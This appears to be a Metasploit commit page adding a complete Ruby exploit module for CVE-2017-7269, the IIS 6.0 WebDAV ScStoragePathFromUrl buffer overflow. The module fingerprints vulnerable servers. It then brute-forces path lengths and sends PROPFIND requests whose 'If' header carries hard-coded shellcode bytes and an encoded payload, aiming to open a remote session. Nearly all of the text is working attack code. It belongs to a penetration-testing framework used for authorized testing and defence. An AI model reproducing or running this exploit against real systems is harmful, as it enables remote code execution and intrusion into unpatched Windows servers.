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Land rapid7#8355, IIS ScStoragePathFromUrl
See rapid7#8162
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‎modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb

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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
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'Description' => %q{
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Buffer overflow in the ScStoragePathFromUrl function
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in the WebDAV service in Internet Information Services (IIS) 6.0
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in Microsoft Windows Server 2003 R2 allows remote attackers to
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execute arbitrary code via a long header beginning with
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"If: <http://" in a PROPFIND request, as exploited in the
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wild in July or August 2016.
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Original exploit by Zhiniang Peng and Chen Wu.
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},
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'Author' =>
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[
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'Zhiniang Peng', # Original author
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'Chen Wu', # Original author
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'Dominic Chell <[email protected]>', # metasploit module
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'firefart', # metasploit module
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'zcgonvh <[email protected]>', # metasploit module
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'Rich Whitcroft' # metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2017-7269' ],
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[ 'BID', '97127' ],
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[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
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[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x00",
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'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
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'DisableNops' => 'True',
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'EncoderOptions' =>
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{
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'BufferRegister' => 'ESI',
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}
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'PrependMigrate' => true,
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},
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'Targets' =>
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[
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[
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'Microsoft Windows Server 2003 R2 SP2',
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{
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'Platform' => 'win',
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},
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],
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],
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'Platform' => 'win',
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'DisclosureDate' => 'Mar 26 2017',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
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OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
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OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
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])
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end
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def min_path_len
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datastore['MINPATHLENGTH']
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end
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def max_path_len
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datastore['MAXPATHLENGTH']
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end
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def supports_webdav?(headers)
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if headers['MS-Author-Via'] == 'DAV' ||
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headers['DASL'] == '<DAV:sql>' ||
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headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
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headers['Public'] =~ /PROPFIND/ ||
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headers['Allow'] =~ /PROPFIND/
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return true
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else
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return false
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end
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end
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def check
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res = send_request_cgi({
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'uri' => target_uri.path,
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'method' => 'OPTIONS'
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})
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if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
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return Exploit::CheckCode::Vulnerable
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elsif res && supports_webdav?(res.headers)
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return Exploit::CheckCode::Detected
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elsif res.nil?
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return Exploit::CheckCode::Unknown
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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# extract the local servername and port from a PROPFIND request
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# these need to be the values from the backend server
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# if testing a reverse proxy setup, these values differ
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# from RHOST and RPORT but can be extracted this way
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vprint_status("Extracting ServerName and Port")
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res = send_request_raw(
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'method' => 'PROPFIND',
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'headers' => {
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'Content-Length' => 0
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},
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'uri' => target_uri.path
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)
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fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207)
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xml = res.get_xml_document
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url = URI.parse(xml.at("//a:response//a:href").text)
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server_name = url.hostname
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server_port = url.port
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server_scheme = url.scheme
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http_host = "#{server_scheme}://#{server_name}:#{server_port}"
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vprint_status("Using http_host #{http_host}")
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min_path_len.upto(max_path_len) do |path_len|
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vprint_status("Trying path length of #{path_len}...")
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begin
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buf1 = "<#{http_host}/"
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buf1 << rand_text_alpha(114 - path_len)
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buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
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buf1 << ">"
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buf1 << " (Not <locktoken:write1>) <#{http_host}/"
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buf1 << rand_text_alpha(114 - path_len)
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buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
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buf1 << payload.encoded
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buf1 << ">"
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vprint_status("Sending payload")
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res = send_request_raw(
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'method' => 'PROPFIND',
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'headers' => {
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'Content-Length' => 0,
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'If' => "#{buf1}"
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},
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'uri' => target_uri.path
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)
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if res
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vprint_status("Server returned status #{res.code}")
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if res.code == 502 || res.code == 400
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next
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elsif session_created?
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return
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else
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vprint_status("Unknown Response: #{res.code}")
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end
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end
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rescue ::Errno::ECONNRESET
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vprint_status("got a connection reset")
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next
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end
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end
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end
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end
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